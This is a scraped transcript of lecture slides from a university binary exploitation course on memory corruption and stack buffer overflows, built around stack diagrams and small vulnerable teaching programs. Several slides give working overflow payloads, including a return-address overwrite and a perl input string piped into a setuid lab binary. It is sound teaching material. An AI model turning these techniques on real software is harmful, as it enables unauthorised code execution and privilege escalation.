memory corruption - security groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... ·...

50
a MBE - 02/10/2015 Memory Corruption Memory Corruption Modern Binary Exploitation CSCI 4968 - Spring 2015 Austin Ralls

Upload: dothuan

Post on 01-Sep-2018

239 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Memory Corruption

Modern Binary ExploitationCSCI 4968 - Spring 2015

Austin Ralls

Page 2: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Setup

• Start your VMs

• Run wget lense.pw/mbe/setup.sh

• run sh setup.sh• If you’re having trouble getting internet, you can try your

luck getting vmware tools installed for shared folders… but fixing internet is probably easier

• Most important part of the script is getting .gdbinit

Slides are at lense.pw/mbe/mem_corr.pdf(Don’t look ahead if you don’t want spoilers)

Page 3: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Lab info

• Submissions for the first lab are due beginning of class Friday

• To submit solutions, email [email protected]

• Follow instructions in the READMEhttp://security.cs.rpi.edu/~jblackthorne/README.txt

Page 4: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Bonus flags info

• Each lab will also have a bonus flag

• They do not count toward your grade

• Scoreboard will be at rpis.ec/flags

• The first one was in an email; future ones might not be so obvious to find

Page 5: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Lecture Overview

• Definition

• Buffer overflows

• How-to techniques/workflows

• Modifying• data/stack• control flow

Page 6: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• What is it?

“Memory Corruption”

Page 7: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• What is it?• fun

“Memory Corruption”

Page 8: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Modifying a binary’s memory in a way that was not intended

• Broad umbrella term for most of what the rest of this class will be

• The vast majority of system-level exploits (real-world and competition) involve memory corruption

“Memory Corruption”

Page 9: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Read and understand it

• Compile and play with it

• What does the stack look like?

0-overflow_example

Page 10: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

before

0-overflow_example stack

Page 11: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

after

0-overflow_example stack

Page 12: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

after--exploited

0-overflow_example stack

Page 13: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Whoa.--Keanu Reeves

Buffer Overflows

Page 14: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• That’s pretty much it

• Now, what can we do with that?

Buffer Overflows

Page 15: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Read and understand it

• Compile and play with it

• What does the stack look like?

1-auth_overflow

Page 16: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

before strcpy

1-auth_overflow stack

Page 17: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

after strcpy

1-auth_overflow stack

Page 18: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

auth check

1-auth_overflow code

Page 19: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

after strcpy -- let’s look at this again

1-auth_overflow stack

Page 20: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

oh that’s handy

1-auth_overflow stack

Page 21: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

How to give programs fancy input(now with excessive coloring)

Let’s take a break from the stack

Note: when copying and pasting from slides or documents, double-check to make sure the quotation marks are straight ( ' ) not magic ( ‘ or ’ )

Page 22: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Test program that echos your argument• Challenges:• hex: 0x41414141• int: 1094795585• int: 1094795586• hex: 0x01010101

• Hint: pcalc

2-arg_input_echo

Page 23: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• hex: 0x41414141$ ./arg_input_echo AAAA

• int: 1094795585$ ./arg_input_echo AAAA

• int: 1094795586$ ./arg_input_echo BAAA

• hex: 0x01010101$ ./arg_input_echo `printf '\x01\x01\x01\x01'`

2-arg_input_echo solutions

Page 24: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

$ echo -e '\x41\x42\x43\x44'

$ printf '\x41\x42\x43\x44'

$ python -c 'print "\x41\x42\x43\x44"'

$ perl -e 'print "\x41\x42\x43\x44";'

Print ABCD

Page 25: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

$ echo/printf (hold down alt; type 100) A

$ python -c 'print "A"*100'

$ perl -e 'print "A" x 100;'

Print 100 As

Page 26: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Use command output as an argument$ ./vulnerable `your_command_here`$ ./vulnerable $(your_command_here)• Use command as input$ your_command_here | ./vulnerable• Write command output to file$ your_command_here > filename• Use file as input$ ./vulnerable < filename

BASH refresherhttp://stackoverflow.com/a/24998887

Page 27: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Use command output as an argument$ r $(your_command_here)• Use command as input$ r < <(your_command_here)• Write command output to file$ r > filename• Use file as input$ r < filename

gdb io

Page 28: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

How to bend programs to your will

Now back to the stack

Page 29: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Read and understand it

• Compile and play with it

• What does the stack look like?

3-auth_overflow2

Page 30: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

difference from 1-auth_overflow

3-auth_overflow2.c diff

Page 31: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

uh-oh

3-auth_overflow2.c stack

Page 32: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• now what?

3-auth_overflow2.c

Page 33: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• now what?

• take control

3-auth_overflow2.c

Page 34: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Example ELF in Memory

34

Runtime Memory

Stack

ELF Executable

.text segment

.data segment

Heap

0x00000000 – Start of memory

0xFFFFFFFF – End of memory

0x08048000 – Start of .text Segment

0xbfff0000 – Top of stack

Libraries (libc)

Page 35: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Take out a sheet of paper

• Diagram the stack

• Currently right before the strcpy call

3-auth_overflow2.c exercise

Page 36: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

3-auth_overflow2.c exercise

low address

high address

Page 37: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

3-auth_overflow2.c exercise

low address

password_buffer

high address

Page 38: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

3-auth_overflow2.c exercise

low address

auth_flag

password_buffer

high address

Page 39: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

3-auth_overflow2.c exercise

low address

???

local varsauth_flag

password_buffer

high address

Page 40: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

3-auth_overflow2.c exercise

low address &password_buffer strcpy arguments(first argument, dest; second argument, src)&password

???

local varsauth_flag

password_buffer

high address

Page 41: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

3-auth_overflow2.c exercise

low address &password_buffer strcpy arguments(first argument, dest; second argument, src)&password

???

local varsauth_flag

password_buffer

&password argument

high address ??? local vars (main)

Page 42: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

3-auth_overflow2.c exercise

low address &password_buffer strcpy arguments(first argument, dest; second argument, src)&password

???

local varsauth_flag

password_buffer

???

old ebp

old eip ← IMPORTANT

&password argument

high address ??? local vars (main)

Page 43: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

where do we want to go?

3-auth_overflow2.c main

Page 44: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

let’s put it together now

3-auth_overflow2.c stack

Page 45: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

r AAAAAAAAAAAAAAAAAAAAAAAAAAAA $(printf '\xbf\x84\x04\x08\xbf')

3-auth_overflow2.c stack

Page 46: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Read and understand it

• Compile and play with it

• Where’s the vulnerability?

• How do you exploit it?

4-game_of_chance

Page 47: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\x8d\x04\x08\n" . "1\nn\n" . "7\n"' | sudo ./game_of_chance

4-game_of_chance.c

Page 48: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

• Wow, you have until 04/10 until you have to deal with them

Heap overflows

Page 49: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Questions?

I’m sure not all of that sunk in

Page 50: Memory Corruption - Security Groupsecurity.cs.rpi.edu/courses/binexp-spring2015/lectures/5/04... · • data/stack • control flow. aMBE ... not magic ( ‘ or ’ ) aMBE ... 02/10/2015

aMBE - 02/10/2015 Memory Corruption

Coming up

• Next class (Fri) is a lab

• After that (Tue) is a lecture on shellcoding